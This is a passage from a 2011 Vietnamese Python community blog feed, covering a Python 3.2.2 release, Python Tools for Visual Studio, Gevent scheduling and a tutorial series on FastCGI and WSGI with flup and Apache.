<span class="k">def</span> <span class="nf">set_cell</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">row</span><span class="p">,</span> <span class="n">col</span><span class="p">,</span> <span class="n">state</span><span class="p">):</span>
<span class="sd">'''Sets a cell at row ``row`` and column ``col`` to state ``state``.</span>
<span class="sd"> Args:</span>
<span class="sd"> row (int): The row, zero-indexed.</span>
<span class="sd"> col (int): The column, zero-indexed.</span>
<span class="sd"> state (bool): Cell's state.</span>
<span class="sd"> '''</span>
<span class="k">raise</span> <span class="bp">NotImplemented</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">get_row</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">row</span><span class="p">):</span>
<span class="sd">'''Returns the states of all cells in row ``row``.</span>
<span class="sd"> Args:</span>
<span class="sd"> row (int): The row, zero-indexed.</span>
<span class="sd"> Returns:</span>
<span class="sd"> A sequence of bools.</span>
<span class="sd"> '''</span>
<span class="k">raise</span> <span class="bp">NotImplemented</span><span class="p">()</span>
</pre></div>
<p>Mọi thắc mắc và thảo luận xin vui lòng gửi lên <a class="reference external" href="forum.vithon.org">diễn đàn</a>.</p>
Python 3.2.2 ra đời2011-09-05T07:03:00+07:002011-09-05T07:03:00+07:00Nhóm PCNVtag:None,2011-09-05:2011/09/python-322-ra-doi.html<p>Khoảng 10 tiếng trước, Georg Brandl đã gửi một bức thư điện tử lên hộp thư chung python-dev để công bố sự ra đời của phiên bản Python 3.2.2.</p>
<p>Python 3.2.2 về cơ bản là phiên bản sửa lỗi, đặc biệt là lỗi <a class="reference external" href="http://bugs.python.org/12576">trong mô-đun urllib …</a></p><p>Khoảng 10 tiếng trước, Georg Brandl đã gửi một bức thư điện tử lên hộp thư chung python-dev để công bố sự ra đời của phiên bản Python 3.2.2.</p>
<p>Python 3.2.2 về cơ bản là phiên bản sửa lỗi, đặc biệt là lỗi <a class="reference external" href="http://bugs.python.org/12576">trong mô-đun urllib.request</a> xảy ra trong 3.2.1.</p>
<p>Phiên bản 3.2.2 có thể được tải về từ địa chỉ <a class="reference external" href="http://www.python.org/download/releases/3.2.2/">http://www.python.org/download/releases/3.2.2/</a>.</p>
Python Tools cho Visual Studio2011-08-31T09:37:00+07:002011-08-31T09:37:00+07:00Nhóm PCNVtag:None,2011-08-31:2011/08/python-tools-cho-visual-studio.html<p>Ngày 29 tháng 08 vừa qua, Microsoft đã tung ra phiên bản đầu tiên của phần mềm miễn phí, nguồn mở <a class="reference external" href="http://pytools.codeplex.com/">Python Tools</a> dành cho Visual Studio.</p>
<p>Với công cụ này, người dùng sẽ sử dụng giao diện quen thuộc của Visual Studio để viết mã theo ngôn ngữ Python …</p><p>Ngày 29 tháng 08 vừa qua, Microsoft đã tung ra phiên bản đầu tiên của phần mềm miễn phí, nguồn mở <a class="reference external" href="http://pytools.codeplex.com/">Python Tools</a> dành cho Visual Studio.</p>
<p>Với công cụ này, người dùng sẽ sử dụng giao diện quen thuộc của Visual Studio để viết mã theo ngôn ngữ Python. Một số tính năng chính bao gồm trình soạn thảo, quản lý dự án, trình gỡ rối, hỗ trợ Intellisense và Refactoring, hỗ trợ IronPython lẫn CPython. Ngoài ra, nếu sử dụng Visual Studio phiên bản Ultimate, người dùng sẽ có thêm cả trình Profiler.</p>
<p>Công cụ Python Tools cho Visual Studio cần phiên bản <a class="reference external" href="http://www.microsoft.com/downloads/en/details.aspx?familyid=8E5AA7B6-8436-43F0-B778-00C3BCA733D3&displaylang=en">Visual Studio Shell</a> miễn phí, hoặc Visual Studio phiên bản Pro trở lên. Công cụ này không sử dụng chung với Visual Studio Express được.</p>
Lập lịch gọi hàm với Gevent2011-08-22T07:29:00+07:002011-08-22T07:29:00+07:00Nguyễn Thành Namtag:None,2011-08-22:2011/08/lap-lich-goi-ham-voi-gevent.html<p>Đôi khi chúng ta cần một cách gì đó để lập lịch gọi hàm tương tự như công cụ <tt class="docutils literal">cron</tt> trong các hệ Unix. Nếu chúng ta may mắn đang làm việc với Gevent sẵn rồi thì hai dòng sau là một cách đơn giản để lập lịch.</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">schedule …</span></pre></div><p>Đôi khi chúng ta cần một cách gì đó để lập lịch gọi hàm tương tự như công cụ <tt class="docutils literal">cron</tt> trong các hệ Unix. Nếu chúng ta may mắn đang làm việc với Gevent sẵn rồi thì hai dòng sau là một cách đơn giản để lập lịch.</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">schedule</span><span class="p">(</span><span class="n">delay</span><span class="p">,</span> <span class="n">func</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kw_args</span><span class="p">):</span>
<span class="n">gevent</span><span class="o">.</span><span class="n">spawn_later</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">func</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kw_args</span><span class="p">)</span>
<span class="n">gevent</span><span class="o">.</span><span class="n">spawn_later</span><span class="p">(</span><span class="n">delay</span><span class="p">,</span> <span class="n">schedule</span><span class="p">,</span> <span class="n">delay</span><span class="p">,</span> <span class="n">func</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kw_args</span><span class="p">)</span>
</pre></div>
<p>Ý tưởng đằng sau hai dòng lệnh này là chúng ta tận dụng sẵn vòng lặp sự kiện (event loop) của Gevent để cài hàm cần được thực thi vào. Do đó, chúng ta sẽ đỡ được việc sử dụng vòng lặp với <tt class="docutils literal">sleep</tt>. Dòng thứ hai có tác dụng như một lệnh gọi đệ quy đuôi (tail recursion), nhưng không tốn bộ nhớ ngăn xếp (stack memory).</p>
<p>Trong trường hợp chúng ta không sử dụng Gevent thì gói <a class="reference external" href="http://packages.python.org/APScheduler/">apscheduler</a> là một lựa chọn đáng tham khảo khác. Gói này cung cấp dịch vụ lập lịch tương tự như Quartz trong thế giới Java.</p>
Lập trình web với Python (7)2011-08-11T08:00:00+07:002011-08-11T08:00:00+07:00Nguyễn Thành Namtag:None,2011-08-11:2011/08/lap-trinh-web-voi-python-7.html<p>Trong bài cuối của loạt bài Lập trình web với Python, chúng ta sẽ bàn đến chuẩn <strong>WSGI</strong> (Web Server Gateway Interface).</p>
<p>WSGI, khác với HTTP, CGI và FCGI, không phải là chuẩn giao thức liên lạc (communication protocol) mà là chuẩn giao tiếp (standard interface) giữa ứng dụng máy …</p><p>Trong bài cuối của loạt bài Lập trình web với Python, chúng ta sẽ bàn đến chuẩn <strong>WSGI</strong> (Web Server Gateway Interface).</p>
<p>WSGI, khác với HTTP, CGI và FCGI, không phải là chuẩn giao thức liên lạc (communication protocol) mà là chuẩn giao tiếp (standard interface) giữa ứng dụng máy chủ (server) và các khung xương (framework) hay các ứng dụng web (web application). Hình tượng hóa mà nói, WSGI nằm phía trên HTTP/CGI/FCGI và phía dưới ứng dụng thật sự. Lớp WSGI giúp lớp ứng dụng trao đổi với lớp máy chủ theo một cách khả chuyển, tức là một ứng dụng WSGI có thể chạy như nhau trên máy chủ khác nhau như Apache, NGINX, hay Lighttpd, sử dụng các giao thức khác nhau như CGI, FCGI, SCGI, hay AJP. Nói một cách khác, WSGI "che" cách liên lạc qua mạng và tạo điều kiện cho ứng dụng web tập trung vào việc xử lý các vấn đề quan trọng hơn.</p>
<p>Một ứng dụng WSGI là một đối tượng gọi được (callable object). Một đối tượng gọi được có thể là một hàm, một phương thức, hoặc một đối tượng có hàm <strong>__call__</strong>. Đối tượng gọi được này phải nhận hai tham số là <strong>environ</strong> và <strong>start_response</strong>. Tham số <strong>environ</strong> là một từ điển với các khóa theo chuẩn CGI và một số khóa đặc biệt mà máy chủ WSGI có thể truyền cho ứng dụng. <strong>start_response</strong> là một đối tượng gọi được do máy chủ WSGI cung cấp cho ứng dụng để ứng dụng bắt đầu việc truyền dữ liệu cho máy chủ WSGI. <strong>start_response</strong> nhận hai tham số là dòng trạng thái trả lời (status string) và một danh sách bộ-2 (list of 2-tuple) các đầu mục (header), mỗi bộ-2 bao gồm tên và giá trị của đầu mục. Giá trị trả về của ứng dụng WSGI là một bộ khả lặp (iterable) sinh ra nội dung sẽ được máy chủ WSGI truyền lại cho máy chủ HTTP hoặc trình duyệt. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">simple_app</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_response</span><span class="p">):</span>
<span class="sd">"""Simplest possible application object"""</span>
<span class="n">status</span> <span class="o">=</span> <span class="s1">'200 OK'</span>
<span class="n">response_headers</span> <span class="o">=</span> <span class="p">[(</span><span class="s1">'Content-type'</span><span class="p">,</span> <span class="s1">'text/plain'</span><span class="p">)]</span>
<span class="n">start_response</span><span class="p">(</span><span class="n">status</span><span class="p">,</span> <span class="n">response_headers</span><span class="p">)</span>
<span class="k">return</span> <span class="p">[</span><span class="s1">'Hello world!</span><span class="se">\n</span><span class="s1">'</span><span class="p">]</span>
</pre></div>
<p>Đầu tiên, ta thiết lập chuỗi trạng thái là <strong>200 OK</strong>, xác định đầu mục <strong>Content-type</strong> là <strong>text/plain</strong> rồi gọi <strong>start_response</strong> với các thông tin như vậy. Giá trị trả về là một danh sách với phần tử duy nhất là chuỗi <strong>Hello world!n</strong>. Ta cũng có thể trả về chuỗi <strong>Hello world!</strong> trực tiếp mà không cần đặt nó vào trong một danh sách vì bản thân một chuỗi cũng là một đối tượng khả lặp. Tuy nhiên, làm như vậy không được khuyến khích vì khi đó máy chủ WSGI sẽ phải làm việc nhiều hơn, lặp qua từng ký tự H, e, l, l, o... thay vì lấy thẳng chuỗi trả lời.</p>
<p>Chúng ta sẽ viết lại ứng dụng đếm số lần truy cập như trong kỳ trước theo dạng một ứng dụng WSGI. Chúng ta sẽ tạo tập tin <strong>C:Program FilesApache Software FoundationApache2.2fcgi-binhello2.py</strong> với nội dung như sau:</p>
<div class="highlight"><pre><span></span><span class="ch">#!C:\Python26\python.exe</span>
<span class="kn">from</span> <span class="nn">flup.server</span> <span class="kn">import</span> <span class="n">fcgi</span>
<span class="k">class</span> <span class="nc">HelloApp</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">count</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">def</span> <span class="fm">__call__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">environ</span><span class="p">,</span> <span class="n">start_response</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">start_response</span><span class="p">(</span><span class="s1">'200 OK'</span><span class="p">,</span> <span class="p">[(</span><span class="s1">'Content-type'</span><span class="p">,</span> <span class="s1">'text/plain'</span><span class="p">)])</span>
<span class="k">return</span> <span class="p">[</span><span class="s1">'Hello WSGI World </span><span class="si">%d</span><span class="s1">'</span> <span class="o">%</span> <span class="bp">self</span><span class="o">.</span><span class="n">count</span><span class="p">]</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">webapp</span> <span class="o">=</span> <span class="n">HelloApp</span><span class="p">()</span>
<span class="n">fcgi</span><span class="o">.</span><span class="n">WSGIServer</span><span class="p">(</span><span class="n">webapp</span><span class="p">,</span> <span class="n">bindAddress</span><span class="o">=</span><span class="p">(</span><span class="s2">"localhost"</span><span class="p">,</span> <span class="mi">8888</span><span class="p">))</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</pre></div>
<p>Thực thi ứng dụng này với lệnh <strong>python hello2.py</strong>, chạy máy chủ Apache với các thiết lập đã làm trong bài viết kỳ trước, và truy cập vào địa chỉ <strong>http://localhost/fcgi-bin/hello.py</strong> thì chúng ta sẽ thấy hình như sau:</p>
<img alt="" src="/static/web-programming/wsgi/wsgi1.png" />
<p>Khi làm tươi trình duyệt thì chúng ta nhận được hình sau:</p>
<img alt="" src="/static/web-programming/wsgi/wsgi2.png" />
<p>So sánh ứng dụng viết theo WSGI và ứng dụng viết theo các giao thức CGI, hay FCGI ta thấy rõ rằng ứng dụng WSGI không cần quan tâm đến việc dữ liệu sẽ được truyền cho trình duyệt bằng cách nào. Ứng dụng WSGI chỉ quan tâm đến việc tạo ra dữ liệu gì và đẩy chỗ dữ liệu đó cho lớp WSGI bên dưới. Lớp này sẽ tự động thực hiện việc truyền tới trình duyệt theo cách tốt nhất có thể.</p>
<p>Tuy nhiên, ứng dụng WSGI cũng phải biết rõ cách hoạt động của máy chủ WSGI. Ví dụ, một ứng dụng WSGI chạy trên máy chủ WSGI theo mô hình CGI thì sẽ không thể trông chờ đến việc sử dụng lại biến toàn cục vì mỗi yêu cầu được một tiến trình riêng xử lý. Đồng thời ứng dụng WSGI cũng phải đảm bảo rằng các chuỗi trả về phải là chuỗi byte (byte string) và không được sử dụng chuỗi unicode (unicode string). Lý do là vì giao thức HTTP không hiểu unicode. Do đó, tốt nhất là ứng dụng WSGI nên gọi <strong>encode</strong> trên các chuỗi unicode để chuyển các chuỗi unicode thành các chuỗi byte trước khi đưa xuống cho máy chủ WSGI.</p>
<p>Một điểm hay của giao tiếp WSGI là một ứng dụng WSGI có thể gói (wrap) một ứng dụng WSGI khác bên trong. Điều này cho phép chúng ta tạo ra các ứng dụng WSGI hoạt động như các phần giữa (middleware), hoặc bộ lọc (filter). Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">simple_app</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_response</span><span class="p">):</span>
<span class="sd">"""Simplest possible application object"""</span>
<span class="n">status</span> <span class="o">=</span> <span class="s1">'200 OK'</span>
<span class="n">response_headers</span> <span class="o">=</span> <span class="p">[(</span><span class="s1">'Content-type'</span><span class="p">,</span> <span class="s1">'text/plain'</span><span class="p">)]</span>
<span class="n">start_response</span><span class="p">(</span><span class="n">status</span><span class="p">,</span> <span class="n">response_headers</span><span class="p">)</span>
<span class="k">return</span> <span class="p">[</span><span class="s1">'Hello world!</span><span class="se">\n</span><span class="s1">'</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">real_app</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_response</span><span class="p">):</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">simple_app</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_response</span><span class="p">)</span>
<span class="k">return</span> <span class="p">[</span><span class="s1">'Tag!</span><span class="se">\n</span><span class="s1">'</span><span class="p">]</span> <span class="o">+</span> <span class="n">r</span>
</pre></div>
<p>Với đoạn mã trên, ứng dụng <strong>real_app</strong> đã gói ứng dụng <strong>simple_app</strong> và chèn vào một chuỗi <strong>Tag!n</strong> phía trước những gì mà <strong>simple_app</strong> gửi về. Đây là một cách để tạo nên các ứng dụng web lớn từ việc ghép các ứng dụng web nhỏ lại với nhau.</p>
<p>Chúng ta dừng loạt bài <strong>Lập trình web với Python</strong> tại đây. Sau 7 bài viết ngắn gọn (nhưng diễn ra trong một khoảng thời gian dài), chúng ta đã xem xét qua việc cài đặt Apache, và Python, rồi các giao thức nền tảng như HTTP, CGI. Từ đó, chúng ta bàn đến các giao thức hiện đại hơn, có một số ưu điểm tốt như FCGI với ví dụ đếm số lần truy cập. Cuối cùng chúng ta dừng lại với một thảo luận ngắn về giao tiếp WSGI, là giao tiếp phổ thông nhất để viết ứng dụng web trong thế giới Python.</p>
<p>Tôi hy vọng sẽ gặp bạn đọc trong các bài viết khác. Để thảo luận về loạt bài này, bạn có thể sử dụng <a class="reference external" href="forum.vithon.org">diễn đàn</a>.</p>
Vithon nâng cấp sử dụng Gevent2011-08-01T01:25:00+07:002011-08-01T01:25:00+07:00Nhóm PCNVtag:None,2011-08-01:2011/08/vithon-nang-cap-su-dung-gevent.html<p>Suốt thời gian qua, nhóm PCNV đã sử dụng chế độ CGI để chạy các ứng dụng web và vẫn đảm bảo được việc truy cập của các bạn quan tâm đến ngôn ngữ Python.</p>
<p>Tuy nhiên, để tránh các vấn đề kỹ thuật có thể phát sinh khi số …</p><p>Suốt thời gian qua, nhóm PCNV đã sử dụng chế độ CGI để chạy các ứng dụng web và vẫn đảm bảo được việc truy cập của các bạn quan tâm đến ngôn ngữ Python.</p>
<p>Tuy nhiên, để tránh các vấn đề kỹ thuật có thể phát sinh khi số lượng thành viên tăng lên, cũng như do đòi hỏi của một số tính năng trên diễn đàn, nhóm PCNV đã chuyển hai ứng dụng web là Zine và Vithon Forum qua chạy cùng Gevent, tận dụng chế độ trao đổi không đồng bộ. Việc chuyển đổi này hy vọng sẽ khiến tốc độ truy cập được cải tiến đáng kể.</p>
<p>Nếu các bạn gặp trục trặc trong việc truy cập vào trang PCNV và diễn đàn, thì các bạn hãy thông báo cho chúng tôi theo thông tin liên lạc ở đầu trang.</p>
Lập trình web với Python (6)2011-07-01T10:05:00+07:002011-07-01T10:05:00+07:00Nguyễn Thành Namtag:None,2011-07-01:2011/07/lap-trinh-web-voi-python-6.html<p>Phần trước chúng ta đã xem xét mô hình hoạt động của một ứng dụng FCGI. Trong phần này chúng ta sẽ viết thử một chương trình FCGI như đã đề cập.</p>
<p>Trước tiên, chúng ta sẽ cần cài đặt thư viện <strong>flup</strong> của tác giả Allan Saddi. Làm việc …</p><p>Phần trước chúng ta đã xem xét mô hình hoạt động của một ứng dụng FCGI. Trong phần này chúng ta sẽ viết thử một chương trình FCGI như đã đề cập.</p>
<p>Trước tiên, chúng ta sẽ cần cài đặt thư viện <strong>flup</strong> của tác giả Allan Saddi. Làm việc này khá đơn giản, chúng ta chỉ việc tải tập tin <strong>ez_setup.py</strong> từ địa chỉ <a class="reference external" href="http://peak.telecommunity.com/dist/ez_setup.py">http://peak.telecommunity.com/dist/ez_setup.py</a> về một nơi nào đó trên máy, ví dụ như <strong>C:Python26Scripts</strong>. Sau đó chúng ta sẽ gọi lệnh ở màn hình DOS như sau:</p>
<pre class="literal-block">
C:\>c:\Python26\scripts\ez_setup.py flup
</pre>
<p>Gói <strong>flup</strong> sẽ được cài đặt trong <strong>C:Python26libsite-packages</strong>.</p>
<p>Ở bước 2, chúng ta sẽ tải về tập tin <a class="reference external" href="http://www.fastcgi.com/dist/mod_fastcgi-2.4.6-AP22.dll">http://www.fastcgi.com/dist/mod_fastcgi-2.4.6-AP22.dll</a>, đổi tên nó thành <strong>mod_fastcgi.dll</strong> và đặt nó trong <strong>C:Program FilesApache Software FoundationApache2.2modules</strong>.</p>
<p>Kế tiếp bước 3, chúng ta sẽ cần cấu hình <strong>Apache</strong> thành một <strong>FCGI client</strong>. Chúng ta cần sửa tập tin <strong>httpd.conf</strong> để thêm vào các dòng sau ở dưới cùng:</p>
<pre class="literal-block">
LoadModule fastcgi_module modules/mod_fastcgi.dll
Alias "/fcgi-bin/hello.py" "C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/hello.py"
<Directory "C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/">
Order allow,deny
Allow from all
</Directory>
FastCgiExternalServer "C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/hello.py" -host localhost:8888
</pre>
<p>Dòng <strong>LoadModule</strong> bảo <strong>Apache</strong> nạp mô-đun <strong>mod_fastcgi</strong> mà chúng ta vừa làm ở bước 2. Dòng <strong>Alias</strong> cho <strong>Apache</strong> biết rằng mọi yêu cầu đến đường dẫn (URI) <strong>/fcgi-bin/hello.py</strong> thật chất là đến tập tin <strong>C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/hello.py</strong>. Chúng ta cần dòng này bởi vì <strong>hello.py</strong> sẽ được tạo ở ngoài <strong>DocumentRoot</strong>. Cũng chính vì thư mục <strong>fcgi-bin</strong> không nằm trong <strong>DocumentRoot</strong> nên chúng ta cũng cần lệnh <strong>Directory</strong> để cho phép <strong>Apache</strong> phục vụ những yêu cầu truy cập vào thư mục đó. Và cuối cùng lệnh <strong>FastCgiExternalServer</strong> bảo <strong>Apache</strong> rằng tập tin <strong>hello.py</strong> thật chất là một ứng dụng FCGI đã được chạy sẵn tại địa chỉ <strong>localhost</strong> ở cổng <strong>8888</strong>. Chính câu lệnh này sẽ chuyển <strong>Apache</strong> thành một <strong>FCGI client</strong>, chuyển tiếp yêu cầu từ trình duyệt đến <strong>FCGI server</strong> do chúng ta phát triển. Vì chúng ta đang cài đặt trên Windows nên chúng ta chỉ có một lựa chọn là sử dụng FCGI theo chế độ trao đổi qua socket, do đó chúng ta phải dùng <strong>FastCgiExternalServer</strong>.</p>
<p>Bước 4 là tạo tập tin <strong>hello.py</strong> trong thư mục <strong>C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin</strong>. Nếu chưa có thư mục này, bạn đọc hãy tự tạo ra nó. Tập tin <strong>hello.py</strong> sẽ có nội dung như sau:</p>
<div class="highlight"><pre><span></span><span class="ch">#!C:\Python26\python.exe</span>
<span class="kn">from</span> <span class="nn">flup.server</span> <span class="kn">import</span> <span class="n">fcgi</span>
<span class="n">count</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">class</span> <span class="nc">HelloApp</span><span class="p">(</span><span class="n">fcgi</span><span class="o">.</span><span class="n">WSGIServer</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">handler</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">req</span><span class="p">):</span>
<span class="k">global</span> <span class="n">count</span>
<span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">req</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">'Content-Type: text/plain</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">req</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span>
<span class="n">req</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s1">'Hello World </span><span class="si">%d</span><span class="s1">'</span> <span class="o">%</span> <span class="n">count</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">HelloApp</span><span class="p">(</span><span class="n">application</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">bindAddress</span><span class="o">=</span><span class="p">(</span><span class="s2">"localhost"</span><span class="p">,</span> <span class="mi">8888</span><span class="p">))</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</pre></div>
<p>Trước hết, chúng ta nhập mô-đun <strong>flup.server.fcgi</strong>. Kế tiếp chúng ta khai báo một biến đếm tên <strong>count</strong> với giá trị khởi tạo là <strong>0</strong>. Sau đó chúng ta khai báo ứng dụng của chúng ta bằng cách định nghĩa lớp <strong>HelloApp</strong> kế thừa lớp <strong>WSGIServer</strong> trong mô-đun <strong>flup.server.fcgi</strong>. <strong>HelloApp</strong> sẽ định nghĩa lại hàm <strong>handler</strong> để xử lý các yêu cầu nhận được.</p>
<p>Hàm <strong>handler</strong> nhận vào một tham số đó là đối tượng <strong>req</strong> chứa thông tin về các biến môi trường, các dòng dữ liệu chuẩn như <strong>stdin</strong>, <strong>stdout</strong>. Chúng ta sẽ cộng một vào biến đếm toàn cục, và xuất giá trị này ra lại cho trình duyệt. Như một ứng dụng CGI (FCGI) thông thường, trước hết chúng ta cần phải xác định kiểu dữ liệu trả về thông qua <strong>Content-Type</strong>, theo sau bởi một dòng trống đánh dấu sự chấm dứt các đầu đề (header) và bắt đầu của nội dung, và cuối cùng là nội dung.</p>
<p>Hai dòng lệnh cuối chỉ đơn giản là chạy ứng dụng FCGI này ở địa chỉ <strong>localhost</strong> và cổng <strong>8888</strong>.</p>
<p>Để kiểm tra, chúng ta sẽ cần thực hiện ba việc: chạy ứng dụng <strong>hello.py</strong>, chạy <strong>Apache</strong>, và dùng trình duyệt xem trang <strong>http://localhost/fcgi-bin/hello.py</strong>. Để chạy ứng dụng <strong>hello.py</strong> chúng ta chỉ cần nhập lệnh sau ở màn hình DOS:</p>
<pre class="literal-block">
c:\Program Files\Apache Software Foundation\Apache2.2\fcgi-bin>python hello.py
</pre>
<p>Khi dùng trình duyệt vào xem trang web như trên thì chúng ta sẽ nhận được hình sau:</p>
<img alt="" src="/static/web-programming/fcgi/hello1.png" />
<p>Nếu làm tươi trình duyệt thì chúng ta sẽ thấy giá trị đếm tăng lên:</p>
<img alt="" src="/static/web-programming/fcgi/hello2.png" />
<p>Như vậy chứng tỏ rằng các yêu cầu đều được phục vụ bởi một tiến trình duy nhất. Đây chính là lợi điểm của FCGI so với CGI.</p>
<p>Trong bài sau, chúng ta sẽ xem xét cách phát triển ứng dụng web với WSGI.</p>
Lập trình web với Python (5)2011-03-24T10:39:00+07:002011-03-24T10:39:00+07:00Nguyễn Thành Namtag:None,2011-03-24:2011/03/lap-trinh-web-voi-python-5.html<p>Bẵng một thời gian, chúng ta lại quay lại với loạt bài Lập trình web với Python. Trong kỳ này, chúng ta sẽ bàn đến mô hình FastCGI (FCGI).</p>
<p>Cái tên FCGI khiến người ta liên tưởng đến mô hình CGI như đã trình bày trong kỳ trước. Nhưng, thật …</p><p>Bẵng một thời gian, chúng ta lại quay lại với loạt bài Lập trình web với Python. Trong kỳ này, chúng ta sẽ bàn đến mô hình FastCGI (FCGI).</p>
<p>Cái tên FCGI khiến người ta liên tưởng đến mô hình CGI như đã trình bày trong kỳ trước. Nhưng, thật tế là FCGI là một mô hình rất khác so với CGI.</p>
<p>Các ứng dụng FCGI là các ứng dụng <strong>bền</strong>, tức là một tiến trình FCGI có thể phục vụ nhiều yêu cầu chứ không phải chỉ một yêu cầu như ứng dụng CGI. Do đó, các ứng dụng FCGI có thể sử dụng các biến có phạm vi ứng dụng (application-scoped variable, tương đương với các biến toàn cục, global variable), tồn tại qua nhiều yêu cầu.</p>
<p>Xét ví dụ một chương trình web hiển thị số lần truy cập vào trang.</p>
<blockquote>
<ul class="simple">
<li>Với mô hình <strong>CGI</strong>, khi có yêu cầu gửi đến, máy chủ web (web server, httpd) sẽ tạo một tiến trình khác, chạy chương trình CGI, chương trình này khởi tạo biến đếm với giá trị 0, tăng nó lên 1, và hiển thị số 1 rồi tiến trình kết thúc. Khi có yêu cầu thứ hai đến, máy chủ lại tạo một tiến trình khác, chạy chương trình CGI, chương trình này khởi tạo biến đếm với giá trị 0, tăng nó lên 1, và hiển thị số 1, và kết thúc tiến trình. Như vậy, vì mỗi yêu cầu được một tiến trình riêng phục vụ nên chúng ta sẽ cần phải lưu biến đếm vào một tài nguyên ngoài (ví dụ như tập tin, hoặc cơ sở dữ liệu), và các tiến trình truy cập vào cùng tài nguyên này.</li>
<li>Với mô hình <strong>FCGI</strong>, một tiến trình FCGI sẽ được chạy trước. Chương trình này được gọi là một <strong>FCGI server</strong>. Chương trình này khởi tạo biến đếm với giá trị 0 và bước vào một vòng lập vô tận để nhận yêu cầu. Trình duyệt gửi yêu cầu đến máy chủ web. Khi này máy chủ web sẽ chuyển yêu cầu này đến ứng dụng FCGI đã được chạy trước đó. Như vậy, máy chủ web đóng vai trò là một <strong>FCGI client</strong>. Ở phía FCGI server, yêu cầu được chấp nhận (accept), biến đếm được tăng lên thành 1, kết quả trả về lại cho httpd, và FCGI server quay lại vòng lập nhận yêu cầu. Máy chủ web trả lại kết quả cho trình duyệt. Khi có yêu cầu kế tiếp, máy chủ httpd lại chuyển yêu cầu đó cho cùng FCGI server. Yêu cầu này được chấp nhận, biến đếm được tăng thành 2 vì đang trong cùng một tiến trình, kết quả trả về lại cho httpd và tiếp tục như đã bàn.</li>
</ul>
</blockquote>
<p>Vì mô hình hoạt động của FCGI khác với CGI nên việc trao đổi giữa FCGI client và FCGI server (giữa httpd và ứng dụng FCGI) không thể sử dụng cùng một giao thức đơn giản như ứng dụng CGI nữa. Việc này đòi hỏi một giao thức riêng cho FCGI.</p>
<p>Mô hình hoạt động đơn giản của FCGI được miêu tả trong hình dưới.</p>
<img alt="" src="/static/web-programming/fcgi/overview_lifecycle.png" />
<p>Ngoài lợi ích về tốc độ (do không phải tạo tiến trình mới để phục vụ mỗi yêu cầu, và khả năng chia sẻ tài nguyên thông qua biến có phạm vi ứng dụng), các ứng dụng FCGI còn có thể được triển khai trên hệ thống khác với hệ thống máy chủ web, giúp cho việc phân bổ tài nguyên giữa httpd và FCGI server được hiệu quả hơn. FCGI hỗ trợ hai cách giao tiếp là thông qua <strong>stream pipe</strong>, và thông qua <strong>socket</strong>. Cách giao tiếp stream pipe tương tự như việc gửi và nhận dữ liệu qua <strong>stdin</strong>, và <strong>stdout</strong>. Cách giao tiếp này được sử dụng cho các ứng dụng FCGI triển khai trên cùng hệ thống với httpd. Cách giao tiếp socket sử dụng một kết nối TCP để đóng gói và gửi dữ liệu của <strong>env-vars</strong>, <strong>stdin</strong>, <strong>stdout</strong>, và <strong>stderr</strong> tới ứng dụng FCGI. Điều này cho phép ứng dụng FCGI được triển khai trên một hệ thống khác, và httpd sẽ liên lạc với ứng dụng này dựa vào kết nối mạng TCP. Do đó, việc tối ưu tài nguyên hệ thống có thể được thực hiện dễ dàng hơn so với ứng dụng CGI. Đối với ứng dụng FCGI, FCGI server có thể được chạy trong chế độ đa tiến trình, hoặc đa tiểu trình đều được. FCGI server có thể được chạy trên một máy 8 lõi, trong khi httpd chạy trên một máy khác đơn nhân. FCGI server phục vụ các dữ liệu động, trong khi httpd phục vụ các dữ liệu 